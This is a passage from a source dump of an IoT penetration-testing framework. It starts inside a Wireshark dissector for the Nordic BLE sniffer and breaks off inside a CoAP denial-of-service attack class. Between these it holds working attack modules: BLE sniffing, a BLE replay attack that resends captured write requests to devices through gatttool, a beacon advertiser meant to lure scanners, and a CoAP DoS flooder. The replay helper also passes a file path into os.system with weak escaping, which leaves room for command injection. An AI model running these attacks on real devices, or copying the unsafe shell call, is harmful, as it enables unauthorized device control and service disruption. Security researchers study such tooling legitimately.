(-1)*((gint32)tvb_get_guint8(tvb, get_rssi_index()));\n\tproto_tree_add_int(tree, hf_nordic_ble_rssi, tvb, get_rssi_index(), 1, rssi);\n}\n\nstatic void\ndissect_event_counter(tvbuff_t *tvb, proto_tree *tree)\n{\n\tguint32 aa;\n\taa \t\t\t= tvb_get_letohl(tvb, get_header_length());\n\tif (aa != adv_aa)\n\t{\n\t\tproto_tree_add_item(tree, hf_nordic_ble_event_counter, tvb, get_ec_index(), 2, ENC_LITTLE_ENDIAN);\n\t}\n}\n\nstatic void\ndissect_ble_delta_time(tvbuff_t *tvb, proto_tree *tree)\n{\n  static guint8 previous_ble_packet_length = 0;\n\tguint32 delta_time, delta_time_ss;\n  \n  /* end - start */\n\tdelta_time \t\t\t= (guint32)tvb_get_letohl(tvb, get_td_index());\n\tproto_tree_add_item(tree, hf_nordic_ble_delta_time, tvb, get_td_index(), 4, ENC_LITTLE_ENDIAN);\n  \n  /* start - start */\n  delta_time_ss = get_metadata_transfer_time() + (get_us_per_byte() * previous_ble_packet_length) + delta_time;\n\tproto_tree_add_uint(tree, hf_nordic_ble_delta_time_ss, tvb, get_td_index(), 4, delta_time_ss);  \n  \n  previous_ble_packet_length = tvb_get_guint8(tvb, get_packet_length_index());\n}\n\n\n/*\n* Specific for 1.0.0+ :\n*/\nstatic void\ndissect_ble_hlen(tvbuff_t *tvb, proto_tree *tree)\n{\n\tguint8 ble_hlen;\n\tble_hlen \t\t\t= tvb_get_guint8(tvb, UART_PACKET_BLE_HEADER_LEN_INDEX);\n\n}\n\nstatic void\ndissect_protover(tvbuff_t *tvb, proto_tree *tree)\n{\n\tguint8 protover;\t\n\tprotover \t\t\t= tvb_get_guint8(tvb, UART_PACKET_PROTOVER_INDEX);\n\n}\n\n\n\nstatic guint32\nis_0_9_7_packet(tvbuff_t *tvb)\n{\n  /* legacy packets started with 0xBEEF */\n  if (tvb_get_guint8(tvb, 0) == 0xBE &&\n      tvb_get_guint8(tvb, 1) == 0xEF)\n  {\n    return 1;\n  }\n  else\n  {\n    return 0;\n  }\n}\n\n\nstatic void\ndissect_header_0_9_7(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n{\t\n  proto_item *ti;\n  proto_tree *nordic_ble_tree;//, *flags_tree;\n\tgboolean bad_crc \t\t\t= FALSE;\n\n  \n  /* create display subtree for the protocol */\n  ti \t\t\t        = proto_tree_add_item(tree, proto_nordic_ble, tvb, 0, -1, ENC_NA);\n  nordic_ble_tree = proto_item_add_subtree(ti, ett_nordic_ble);\n\t\n\tpinfo->p2p_dir \t= P2P_DIR_RECV;\n  \n  /*** PROTOCOL TREE ***/\n  \n  dissect_packet_counter(tvb, nordic_ble_tree);\n  bad_mic = dissect_flags(tvb, pinfo, nordic_ble_tree);\n  dissect_channel(tvb, nordic_ble_tree);\n  dissect_rssi(tvb, nordic_ble_tree);\n  dissect_event_counter(tvb, nordic_ble_tree);\n  bad_length = dissect_lengths(tvb, pinfo, nordic_ble_tree);\n  \n  dissect_ble_delta_time(tvb, nordic_ble_tree);  \n}\n\nstatic void\ndissect_header_1_0_0(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n{    \n  /* Set up structures needed to add the protocol subtree and manage it */\n\tproto_item *ti;\n  proto_tree *nordic_ble_tree;\n\t\n  /* Other misc. local variables. */\n\tint btle_return \t\t\t= 0;\n\n\tpinfo->p2p_dir \t\t\t= P2P_DIR_RECV;\n\t\n  /*** PROTOCOL TREE ***/\n\n  ti \t\t\t          = proto_tree_add_item(tree, proto_nordic_ble, tvb, 0, -1, ENC_NA);\n\tnordic_ble_tree \t= proto_item_add_subtree(ti, ett_nordic_ble);\n\t\n  tvb \t\t\t      = dissect_board_id_and_strip_it_from_tvb(tvb, pinfo, nordic_ble_tree);\n\tbad_length \t\t\t= dissect_lengths(tvb, pinfo, nordic_ble_tree);\n\tdissect_protover(tvb, nordic_ble_tree);\n\tdissect_packet_counter(tvb, nordic_ble_tree);\n\tdissect_id(tvb, nordic_ble_tree);\n\tdissect_ble_hlen(tvb, nordic_ble_tree);\n  \n\tbad_mic = dissect_flags(tvb, pinfo, nordic_ble_tree);\n  \n\tdissect_channel(tvb, nordic_ble_tree);\n\tdissect_rssi(tvb, nordic_ble_tree);\n\tdissect_event_counter(tvb, nordic_ble_tree);\n  \n  dissect_ble_delta_time(tvb, nordic_ble_tree);\n}\n\n\n\n\n\n\n\n/* Main entry point for sniffer, any version */\nstatic int\ndissect_nordic_ble(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data)\n{\n\ttvbuff_t *payload_tvb;\n  \n  bad_length  = FALSE;\n  bad_mic     = FALSE;\n  \n  \n  legacy_mode = is_0_9_7_packet(tvb);\n  \n  if (legacy_mode)\n  {\n    dissect_header_0_9_7(tvb, pinfo, tree, data);\n    payload_tvb = tvb_new_subset(tvb, _0_9_7_UART_HEADER_LENGTH, -1, tvb_length(tvb) - _0_9_7_UART_HEADER_LENGTH);\n  }\n  else\n  {\n    dissect_header_1_0_0(tvb, pinfo, tree, data);\n    /* have to take BOARD_ID into account, as the stripped version is local to dissect_1_0_0 */\n    payload_tvb = tvb_new_subset(tvb, UART_HEADER_LENGTH + BOARD_ID_LENGTH, -1, \n                                    tvb_length(tvb) - UART_HEADER_LENGTH - BOARD_ID_LENGTH);\n  }\n  \n\n\tif (!bad_length)\n\t{\n\t\tcall_dissector(btle_dissector_handle, payload_tvb, pinfo, tree);\n\t}\n\t\n\tif (bad_mic)\n\t{\n\t\tcol_add_str(pinfo->cinfo, COL_INFO, \"Encrypted packet decrypted incorrectly (bad MIC)\");\n\t}\n    \n    \n  if(debug_handle)\n  {\n    call_dissector(debug_handle, payload_tvb, pinfo, tree);\n  }\n\t\n  if (legacy_mode)\n  {\n    return _0_9_7_UART_HEADER_LENGTH;\n  }\n  else\n  { \n    return UART_HEADER_LENGTH + BOARD_ID_LENGTH;\n  }\n}\n\n/* Register the protocol with Wireshark.\n *\n * This format is require because a script is used to build the C function that\n * calls all the protocol registration.\n */\nvoid\nproto_register_nordic_ble(void)\n{\n  // module_t *nordic_ble_module;\n\n  /* Setup list of header fields  See Section 1.6.1 of README.developer for\n   * details. */\n \n  static hf_register_info hf[] \t\t\t= {\n  { &hf_nordic_ble_sync_word,\n          { \"sync word\", \"nordic_ble.sync_word\",\n             FT_UINT16, BASE_HEX, NULL, 0x0,\n            \"Sync word. Always 0xBEEF.\", HFILL }\n      },\n  { &hf_nordic_ble_board_id,\n          { \"board\", \"nordic_ble.board_id\",\n             FT_UINT8, BASE_DEC, NULL, 0x0,\n            \"\", HFILL }\n      },\n  { &hf_nordic_ble_header_length,\n          { \"length of header\", \"nordic_ble.hlen\",\n             FT_UINT8, BASE_DEC, NULL, 0x0,\n            \"\", HFILL }\n      },\n  { &hf_nordic_ble_payload_length,\n          { \"length of payload\", \"nordic_ble.plen\",\n             FT_UINT8, BASE_DEC, NULL, 0x0,\n            \"Payload length\", HFILL }\n      },\n  { &hf_nordic_ble_protocol_version,\n          { \"protocol version\", \"nordic_ble.protover\",\n             FT_UINT8, BASE_DEC, NULL, 0x0,\n            \"Version of nordic_ble protocol, only for Sniffer v1.0.0 and upwards\", HFILL }\n      },\n  { &hf_nordic_ble_packet_counter,\n          { \"uart packet counter\", \"nordic_ble.packet_counter\",\n             FT_UINT16, BASE_DEC, NULL, 0x0,\n            \"Global packet counter for packets sent on UART.\", HFILL }\n      },\n  { &hf_nordic_ble_id,\n          { \"packet id\", \"nordic_ble.id\",\n             FT_UINT8, BASE_DEC, NULL, 0x0,\n            \"Packet ID. Specifies the type of the packet\", HFILL }\n      },\n\n  { &hf_nordic_ble_ble_header_length,\n          { \"length of header\", \"nordic_ble.hlen\",\n             FT_UINT8, BASE_DEC, NULL, 0x0,\n            \"\", HFILL }\n      },\n  { &hf_nordic_ble_flags,\n    { \"flags\", \"nordic_ble.flags\",\n       FT_UINT8, BASE_HEX, NULL, 0x0,\n      \"Flags\", HFILL }\n  },\n  { &hf_nordic_ble_crcok,\n          { \"CRC\", \"nordic_ble.crcok\",\n             FT_BOOLEAN, BASE_NONE, TFS(&crc_tfs), 0x0,\n            \"Cyclic Redundancy Check state\", HFILL }\n      },\n  { &hf_nordic_ble_direction,\n          { \"direction\", \"nordic_ble.direction\",\n             FT_BOOLEAN, BASE_NONE, TFS(&direction_tfs), 0x0,\n            \"Direction\", HFILL }\n      },\n  { &hf_nordic_ble_encrypted,\n    { \"encrypted\", \"nordic_ble.encrypted\",\n       FT_BOOLEAN, BASE_NONE, TFS(&encrypted_tfs), 0x0,\n      \"Was the packet encrypted\", HFILL }\n  },\n  { &hf_nordic_ble_micok,\n    { \"MIC\", \"nordic_ble.micok\",\n       FT_BOOLEAN, BASE_NONE, TFS(&mic_tfs), 0x0,\n      \"Message Integrity Check state\", HFILL }\n  },\n  { &hf_nordic_ble_channel,\n          { \"channel\", \"nordic_ble.channel\",\n             FT_UINT8, BASE_DEC, NULL, 0x0,\n            \"Channel\", HFILL }\n      },\n  { &hf_nordic_ble_rssi,\n          { \"RSSI (dBm)\", \"nordic_ble.rssi\",\n             FT_INT16, BASE_DEC, NULL, 0x0,\n            \"Received Signal Strength Indicator\", HFILL }\n      },\n  { &hf_nordic_ble_event_counter,\n          { \"event counter\", \"nordic_ble.event_counter\",\n             FT_UINT16, BASE_HEX, NULL, 0x0,\n            \"Event Counter\", HFILL }\n      },\n  { &hf_nordic_ble_delta_time,\n          { \"delta time (us end to start)\", \"nordic_ble.delta_time\",\n             FT_UINT32, BASE_DEC, NULL, 0x0,\n            \"Delta time: us since last reported packet.\", HFILL }\n      },\n  { &hf_nordic_ble_delta_time_ss,\n          { \"delta time (us start to start)\", \"nordic_ble.delta_time_ss\",\n             FT_UINT32, BASE_DEC, NULL, 0x0,\n            \"Delta time: us since start of last reported packet.\", HFILL }\n      }\n  };\n\t\n\n\t\n  /* Setup protocol subtree array */\n  static gint *ett[] \t\t\t= {\n      &ett_nordic_ble,\n  &ett_flags\n  };\n\n\t// static ei_register_info ei[] \t\t\t= {\n\t\t// { &ei_nordic_ble_bad_crc, { \"nordic_ble.crc.bad\", PI_CHECKSUM, PI_ERROR, \"CRC is bad\", EXPFILL }},\n\t\t// { &ei_nordic_ble_bad_mic, { \"nordic_ble.mic.bad\", PI_CHECKSUM, PI_ERROR, \"MIC is bad\", EXPFILL }},\n\t\t// { &ei_nordic_ble_bad_length, { \"nordic_ble.length.bad\", PI_MALFORMED, PI_ERROR, \"Length is incorrect\", EXPFILL }},\n\t// };\n\n\t//expert_module_t* expert_ip;\n  /* Register the protocol name and description */\n  proto_nordic_ble \t\t\t= proto_register_protocol(\"Nordic BLE sniffer meta\",\n          \"nordic_ble\", \"nordic_ble\");\n\n\tnew_register_dissector(\"nordic_ble\", dissect_nordic_ble, proto_nordic_ble);\n\n\t//expert_ip \t\t\t= expert_register_protocol(proto_nordic_ble);\n\t//expert_register_field_array(expert_ip, ei, array_length(ei));\n\t\n  /* Required function calls to register the header fields and subtrees */\n\t\n\t// NOTE: THE FOLLOWING LINE BREAKS THE NEWEST WIRESHARK\n  proto_register_field_array(proto_nordic_ble, hf, array_length(hf));\n\n\n  proto_register_subtree_array(ett, array_length(ett));\n\n\t\n\n}\n\n\n\n\nvoid\nproto_reg_handoff_nordic_ble(void)\n{\n    static gboolean initialized \t\t\t= FALSE;\n    static dissector_handle_t nordic_ble_handle;\n    static int currentPort;\n\n    if (!initialized) {\n        /* Use new_create_dissector_handle() to indicate that\n         * dissect_nordic_ble() returns the number of bytes it dissected (or 0\n         * if it thinks the packet does not belong to nordic ble sniffer).\n         */\n        nordic_ble_handle \t\t\t= new_create_dissector_handle(dissect_nordic_ble,\n                proto_nordic_ble);\n\t\t\t\t\n\t\t\n\t\tbtle_dissector_handle \t\t\t= find_dissector(\"btle\");\n\t\tdebug_handle \t\t\t= find_dissector(\"nordic_debug\");\n        initialized \t\t\t= TRUE;\n\t}\n    // } else {\n        // /* If you perform registration functions which are dependent upon\n         // * prefs then you should de-register everything which was associated\n         // * with the previous settings and re-register using the new prefs\n         // * settings here. In general this means you need to keep track of\n         // * the nordic_ble_handle and the value the preference had at the time\n         // * you registered.  The nordic_ble_handle value and the value of the\n         // * preference can be saved using local statics in this\n         // * function (proto_reg_handoff).\n         // */\n        // dissector_delete_uint(\"tcp.port\", currentPort, nordic_ble_handle);\n    // }\n\t\n\t#ifdef TRANSPARENT\n    dissector_add_uint(\"udp.port\", udp_port, btle_dissector_handle);\n\t#else\n    dissector_add_uint(\"udp.port\", udp_port, nordic_ble_handle);\n\tdissector_add_uint(\"wtap_encap\", user_dlt_num, nordic_ble_handle);\n\t#endif\n}\n\n\n/*\n * Editor modelines  -  http://www.wireshark.org/tools/modelines.html\n *\n * Local variables:\n * c-basic-offset: 4\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth\t\t\t=4 tabstop\t\t\t=8 expandtab:\n * :indentSize\t\t\t=4:tabSize\t\t\t=8:noTabs\t\t\t=true:\n */\n"
  },
  {
    "path": "src/protocols/BLE/BLETest.py",
    "content": "\"\"\"\n    BLE (Bluetooth Low Energy) Testing Class\n    Call necessary tests from this class\n\"\"\"\n\n\nclass BLETest:\n\n    @staticmethod\n    def run_test(attack_name):\n        print(\"BLETest\")\n\n"
  },
  {
    "path": "src/protocols/BLE/__init__.py",
    "content": ""
  },
  {
    "path": "src/protocols/BLE/attacks/__init__.py",
    "content": "\"\"\"\n    This package contains the following BLE attacks:\n        1) BLE Sniff attack\n        2) BLE Replay attack\n\"\"\""
  },
  {
    "path": "src/protocols/BLE/attacks/ble_replay_attack.py",
    "content": "import logging\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom protocols.BLE.ble_replay_attack import BLEReplayAttackHelper\n\n\nclass BLEReplayAttack(Attack):\n    \"\"\"\n    BLE Protocol - BLE Replay Attack Module\n    \"\"\"\n    # Input Fields\n    file_path = None\n\n    def __init__(self):\n        default_parameters = [\"\"]\n        inputs = [\n            InputFormat(\"File Path\", \"file_path\", \"\", str, mandatory=True, from_captured_packets=True),\n        ]\n\n        Attack.__init__(self, \"BLE Replay Attack\", inputs, default_parameters, \"BLE Replay Attack Definition\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n    def run(self):\n        super(BLEReplayAttack, self).run()\n        BLEReplayAttackHelper(self.file_path)\n\n    def stop_attack(self):\n        pass  # Since this attack is so short there is no need to a stop routine.\n"
  },
  {
    "path": "src/protocols/BLE/attacks/ble_sniff_attack.py",
    "content": "import logging\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom protocols.BLE.ble_sniff import BLESniffer\n\n\nclass BLESniffAttack(Attack):\n    \"\"\"\n    BLE Protocol - BLE Sniff Attack Module\n    \"\"\"\n    # Input Fields\n    port = \"/dev/ttyUSB0\"\n    bleSni = None\n\n    def __init__(self):\n        default_parameters = [\"/dev/ttyUSB0\"]\n        inputs = [\n            InputFormat(\"Port\", \"port\", self.port, str, mandatory=True),\n        ]\n\n        Attack.__init__(self, \"BLE Sniffing\", inputs, default_parameters, \"BLE Sniff Definition\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n    def run(self):\n        self.bleSni = BLESniffer(\n            self.port)  # if we initialize this in init, it gives an error when we want to go back after an attack\n        super(BLESniffAttack, self).run()\n        self.bleSni.run()\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.bleSni.stop_attack()\n"
  },
  {
    "path": "src/protocols/BLE/ble_advertiser.py",
    "content": "from bluetooth.ble import BeaconService\nimport time\nimport argparse\n\n# This one uses pybluez library!!!\n\nDEFAULT_ADVERTISEMENT = \"1234567890\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-a\", \"--advertisement\", help=\"Advertisement input\", default=DEFAULT_ADVERTISEMENT)\nargs = parser.parse_args()\n# You can get an advertisement input from the user or have a default one\n\nservice = BeaconService()\n\nwhile True:\n\tservice.start_advertising(args.advertisement, 1, 1, 1, 200)\n\ttime.sleep(5)\n\t# Service.stop_advertising()\n\n# Here, we continiously advertise ourselves to hook a naive listener which does not have a white list.\n# However, we will implement what will happen when we trick a naive scanner later\n"
  },
  {
    "path": "src/protocols/BLE/ble_device.py",
    "content": "import pexpect\n\n\nclass BLEDevice:\n    \"\"\"\n    Represents a BLE device.\n    It uses `gatttool` to connect a BLE device.\n    \"\"\"\n\n    def __init__(self, address):\n        self.device = None\n        self.address = address\n        # connect to the device specified with the given address\n        self.connect()\n\n    def connect(self):\n        \"\"\"\n        Connects to the BLE device\n        \"\"\"\n        print \"Connecting...\"\n        # Run gatttool interactively.\n        self.device = pexpect.spawn(\"gatttool -b \" + self.address + \" -I\")\n        self.device.expect('\\[LE\\]>', timeout=10)\n        self.device.sendline('connect')\n        self.device.expect('Connection successful.*\\[LE\\]>', timeout=10)\n        print \"Successfully connected!\"\n\n    \"\"\"\n        Updates the value of the handle\n    \"\"\"\n\n    def writecmd(self, handle, value):\n        cmd = \"char-write-cmd \" + handle + \" \" + value\n        self.device.sendline(cmd)\n        print \"Wrote \" + value + \" to handle: \" + handle\n"
  },
  {
    "path": "src/protocols/BLE/ble_protocol.py",
    "content": "from Entity.protocol import Protocol\n\n\nclass BLE(Protocol):\n\n    def __init__(self):\n        ble_definition = \"\"\n        attack_suites = []\n        Protocol.__init__(self, \"BLE\", attack_suites, ble_definition)\n"
  },
  {
    "path": "src/protocols/BLE/ble_replay_attack.py",
    "content": "import os\nfrom protocols.BLE.ble_device import BLEDevice\n\n\nclass BLEReplayAttackHelper:\n    \"\"\"\n    This is the helper class which is used to perform BLE Replay attack.\n    \"\"\"\n\n    def __init__(self, file_path):\n        self.file_path = file_path\n        self.write_requests = {}\n        self.run()\n\n    def run(self):\n        self.create_tmp_file()\n        self.get_write_requests()\n        self.replay_write_requests()\n        self.delete_tmp_file()\n\n    def create_tmp_file(self):\n        \"\"\"\n        Convert pcap file to txt\n        \"\"\"\n        # convert pcap file to .txt file\n        file_path = \"\\\\ \".join(self.file_path.split())\n        os.system(\"tshark -X lua_script:tmp.txt -r \" + file_path + \" -V -T text > tmp.txt\")\n\n    def get_write_requests(self):\n        \"\"\"\n        Retrieves all write requests from the given file\n        \"\"\"\n        # Open the file\n        f = open(\"tmp.txt\", \"r\")\n        # Get the content of the file\n        content = f.read()\n        # Get frames\n        frames = content.split(\"\\n\\n\")\n        # Search each frame to find Write Requests\n        for frame in frames:\n            try:\n                # Slave address index\n                slave_address_index = frame.index(\"Slave Address:\")\n                # Update the frame\n                frame = frame[slave_address_index:]\n                # Get the slave address\n                open_para_index = frame.index(\"(\")\n                close_para_index = frame.index(\")\")\n                slave_address = frame[open_para_index + 1:close_para_index]\n                # Write request index\n                write_request_index = frame.index(\"Opcode: Write Request\")\n                # Update the frame\n                frame = frame[write_request_index:]\n                # Handle index\n                handle_index = frame.index(\"Handle:\") + 8\n                # Update the frame\n                frame = frame[handle_index:]\n                # Space index\n                space_index = frame.index(\" \")\n                # Get the handle\n                handle = frame[:space_index]\n                # Value index\n                value_index = frame.index(\"Value:\") + 7\n                # Get the value\n                value = frame[value_index:]\n                # Add handle-value to the list\n                if slave_address in self.write_requests:\n                    self.write_requests[slave_address].append({\"handle\": handle, \"value\": value})\n                else:\n                    self.write_requests[slave_address] = [{\"handle\": handle, \"value\": value}]\n            except ValueError:\n                pass\n        print \"retrieved write requests\"\n\n    def replay_write_requests(self):\n        \"\"\"\n        Replay all write requests\n        \"\"\"\n        # Replay all write request\n        for slave_address in self.write_requests:\n            # Create a connection to the device\n            device = BLEDevice(slave_address)\n            # Replay all write request belonging to the device\n            for handle_value_pair in self.write_requests[slave_address]:\n                handle = handle_value_pair[\"handle\"]\n                value = handle_value_pair[\"value\"]\n                device.writecmd(handle, value)\n                print \"wrote \" + value + \" to handle: \" + handle\n\n    def delete_tmp_file(self):\n        \"\"\"\n        Delete the created tmp file\n        \"\"\"\n        os.remove(\"tmp.txt\")\n"
  },
  {
    "path": "src/protocols/BLE/ble_sniff.py",
    "content": "import os\nimport sys\nimport time\n\nfrom Utils import CommonUtil\nfrom protocols.BLE.Adafruit_BLESniffer import sniffer\nfrom protocols.BLE.Adafruit_BLESniffer.SnifferAPI import CaptureFiles\n\n\nclass BLESniffer:\n    stopped_flag = False\n    serial_port = None\n\n    def __init__(self, serial_portt):\n\n        self.stopped_flag = False\n        # store the captured packets\n        PATH_TO_FILE = BLESniffer.create_file_name()\n\n        # Instantiate the command line argument parser\n        sniffer.argparser = sniffer.argparse.ArgumentParser(\n            description=\"Interacts with the Bluefruit LE Friend Sniffer firmware\")\n\n        # Parser the arguments passed in from the command-line\n        sniffer.args = sniffer.argparser.parse_args()\n        sniffer.args.verbose = False\n\n        print(\"Capturing data to \" + PATH_TO_FILE)\n        CaptureFiles.captureFilePath = PATH_TO_FILE\n\n        self.serial_port = serial_portt\n\n    def run(self):\n        # Try to open the serial port\n        try:\n            sniffer.setup(self.serial_port)\n        except OSError:\n            # pySerial returns an OSError if an invalid port is supplied\n            print(\"Unable to open serial port '\" + self.serial_port + \"'\")\n            sys.exit(-1)\n        except KeyboardInterrupt:\n            sys.exit(-1)\n\n        # Scan for devices in range until the user makes a selection\n        try:\n            d = None\n\n            # loop will be skipped if a target device is specified on commandline\n            while d is None:\n                if self.stopped_flag is True:\n                    break\n\n                print(\"Scanning for BLE devices (5s) ...\")\n                devlist = sniffer.scanForDevices()\n                if len(devlist):\n                    # Select a device\n                    d = sniffer.selectDevice(devlist)\n                    print d\n\n            if self.stopped_flag is True:\n                d = None\n            else:\n                # Start sniffing the selected device\n                print(\"Attempting to follow device {0}:{1}:{2}:{3}:{4}:{5}\".format(\"%02X\" % d.address[0],\n                                                                                   \"%02X\" % d.address[1],\n                                                                                   \"%02X\" % d.address[2],\n                                                                                   \"%02X\" % d.address[3],\n                                                                                   \"%02X\" % d.address[4],\n                                                                                   \"%02X\" % d.address[5]))\n            # Make sure we actually followed the selected device (i.e. it's still available, etc.)\n            if d is not None:\n                sniffer.mySniffer.follow(d)\n            else:\n                if self.stopped_flag is False:\n                    print(\"ERROR: Could not find the selected device\")\n\n            # Dump packets\n            while (self.stopped_flag is False) and (d is not None):  # Dogukan\n                sniffer.dumpPackets()\n                time.sleep(1)\n\n            # Close gracefully\n            sniffer.mySniffer.doExit()\n            sys.exit()\n\n        except (KeyboardInterrupt, ValueError, IndexError) as e:\n            # Close gracefully on CTRL+C\n            if 'KeyboardInterrupt' not in str(type(e)):\n                print(\"Caught exception:\", e)\n            sniffer.mySniffer.doExit()\n            sys.exit(-1)\n\n    def stop_attack(self):\n        self.stopped_flag = True\n        print(\"BLE sniffing attack has been terminated\")\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    @staticmethod\n    def create_file_name():\n        # store the captured packets\n        return os.path.dirname(os.path.abspath(\n            __file__)) + \"/../../captured_packets/BLE_\" + CommonUtil.get_current_datetime_for_filename_format() + \".pcap\"\n"
  },
  {
    "path": "src/protocols/BLE/ble_tools.py",
    "content": "from bluepy import btle\n\n\"\"\"\n    This class enables us to scan for BLE devices. \n\"\"\"\n\n\nclass BLEScanner:\n    \"\"\"\n    Scan for BLE devices and returns these devices as ScanEntry\n\n    :param interface the Bluetooth interface\n    :param timeout how long scan operation takes (in seconds)\n    :return A list of ScanEntry objects\n    \"\"\"\n    @staticmethod\n    def scan(interface, timeout):\n        scanner = btle.Scanner(interface)\n        entries = scanner.scan(timeout)\n        return entries\n\n\n\n\"\"\"\n    This class is used to create a connection with the device\n    Then, we can access its services or characteristics using the class methods\n\"\"\"\n\n\nclass BLEPeripheral:\n    \"\"\"\n    Using the given parameters, create a connection with the device\n    :param address MAC address of the device\n    :param address_type fixed (btle.ADDR_TYPE_PUBLIC) or random (btle.ADDR_TYPE_RANDOM) address types\n    :param the Bluetooth interface on which the connection is set\n    \"\"\"\n    def __init__(self, address, address_type, interface):\n        self.device = btle.Peripheral(address, address_type, interface)\n\n    def getServices(self):\n        \"\"\"\n        This method gets the services (a list of btle.Service) which are provided by BLE device\n        \"\"\"\n        return self.device.getServices()\n\n    def getCharacteristics(self):\n        \"\"\"\n        This method gets the characteristics (a list of btle.Characteristics) which are provided bu BLE device\n        \"\"\"\n        return self.device.getCharacteristics()\n\n    def getAddress(self):\n        \"\"\"\n        Methods to get properties of the device\n        \"\"\"\n        return self.device.addr\n\n    def getAddressType(self):\n        return self.device.addrType\n\n    def getInterface(self):\n        return self.device.iface"
  },
  {
    "path": "src/protocols/CoAP/__init__.py",
    "content": "\"\"\"\n    This package contains the following functionalities:\n\n    1) Example usage of CoAP.\n    2) Attacks that is done on CoAP\n    3) CoAP Scanner\n    4) Old Attack Scripts for CoAP\n    5) CoAP Protocol\n\n    Moreover, we have a class which inherits from Protocol class.\n\"\"\"\n\n\nfrom coapthon.client.helperclient import HelperClient\n\nimport enum\nimport logging\n\nFORMAT = \"%(asctime)s:%(levelname)s:%(name)s:%(message)s\"\nlogging.basicConfig(level=logging.DEBUG, format=FORMAT)\nlogger = logging.getLogger(\"CoAP Init\")\n\n\nclass CoAPMethods(enum.Enum):\n    EMPTY = 0\n    GET = 1\n    POST = 2\n    PUT = 3\n    DELETE = 4\n\n\ndef does_method_have_payload(method):\n    \"\"\"\n    :type method: CoAPMethods\n    :param method: Method which is tested to have paylaod\n    :return: Whether method has payload or not\n    \"\"\"\n    return method in [CoAPMethods.POST, CoAPMethods.PUT]\n\n\ndef make_request(client, _path, _method_type, _payload=None):\n    \"\"\"\n    :param _path: Path to be fuzzed\n    :param _method_type: Which CoAP method will be used while fuzzing\n    :param _payload: Payload to be fuzzed\n    :type client: HelperClient\n    :return response: Response of request if proper request is done, otherwise None\n    \"\"\"\n    try:\n        response = None\n        if _method_type == CoAPMethods.GET:\n            response = client.get(_path)\n        elif _method_type == CoAPMethods.POST:\n            response = client.post(_path, _payload)\n        elif _method_type == CoAPMethods.PUT:\n            response = client.put(_path, _payload)\n        elif _method_type == CoAPMethods.DELETE:\n            response = client.delete(_path)\n        return response\n    except UnicodeEncodeError:\n        logger.error(\"Unicode encoding error is occurred!\")\n\n\ndef get_coap_methods_by_name(method_string):\n    uppered_method_name = method_string.upper()\n    if uppered_method_name == \"EMPTY\":\n        return CoAPMethods.EMPTY\n    elif uppered_method_name == \"GET\":\n        return CoAPMethods.GET\n    elif uppered_method_name == \"POST\":\n        return CoAPMethods.POST\n    elif uppered_method_name == \"PUT\":\n        return CoAPMethods.PUT\n    elif uppered_method_name == \"DELETE\":\n        return CoAPMethods.DELETE\n    else:\n        logger.error(\"Unknown CoAP Method Type!\")\n        return CoAPMethods.POST\n\n\ndef get_coap_methods_as_string(method):\n    if method == CoAPMethods.EMPTY:\n        return \"EMPTY\"\n    elif method == CoAPMethods.GET:\n        return \"GET\"\n    elif method == CoAPMethods.POST:\n        return \"POST\"\n    elif method == CoAPMethods.PUT:\n        return \"PUT\"\n    elif method == CoAPMethods.DELETE:\n        return \"DELETE\"\n    else:\n        logger.error(\"Unknown CoAP Method Type!\")\n        return \"None\"\n"
  },
  {
    "path": "src/protocols/CoAP/attacks/__init__.py",
    "content": "\"\"\"\n    This is a package that contains attacks to CoAP protocol.\n    Currently, it supports the following attacks\n\n        1) Denial of Service Attack\n        2) Fuzzing Attack Suite\n            i ) Payload Size Fuzzer\n            ii) Random Payload Fuzzing\n        3) Sniff Attack\n\"\"\"\n"
  },
  {
    "path": "src/protocols/CoAP/attacks/coap_dos_attack.py",
    "content": "import logging\nimport multiprocessing\nimport signal\nimport time\nimport unittest\n\nfrom coapthon.client.helperclient import HelperClient\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom protocols import CoAP as PeniotCoAP\n\n\nclass CoAPDoSAttack(Attack):\n    \"\"\"\n    CoAP Protocol - DoS Attack Module\n    It is created to penetrate CoAP server with tiny interval messages by sending again and again messages\n    \"\"\"\n    client = None\n\n    # Input Fields\n    host = None\n    port = None\n    path = None\n    method = None\n    method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.GET)\n    payload = None\n    timeout = 0.01\n\n    # Miscellaneous Members\n    logger = None\n    sent_message_count = 0  # Transmitted fuzzing packets\n    stopped_flag = False\n\n    def __init__(self):\n        default_parameters = [\"\", \"\", \"\", \"\", \"\", 10.0]\n        inputs = [\n            InputFormat(\"Host Name\", \"host\", \"\", str, mandatory=True),\n            InputFormat(\"Port Number\", \"port\", \"\", int, mandatory=True),\n            InputFormat(\"Endpoint\", \"path\", \"\", str, mandatory=True),\n            InputFormat(\"Method\", \"method_string\", self.method_string, str, mandatory=True),\n            InputFormat(\"Payload\", \"payload\", \"\", str, mandatory=True),\n            InputFormat(\"Timeout\", \"timeout\", self.timeout, float)\n        ]\n\n        Attack.__init__(self, \"CoAP DoS Attack\", inputs, default_parameters,\n                        \"    We send CoAP requests to the client.\\n\"\n                        \"    The time difference between those requests\\n\"\n                        \"    can be specified.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Sent message count: {0}, exitting...\".format(self.sent_message_count))\n        self.stopped_flag = True\n        if self.client is not None:\n            self.client.stop()\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n\n    def pre_attack_init(self):\n        self.client = 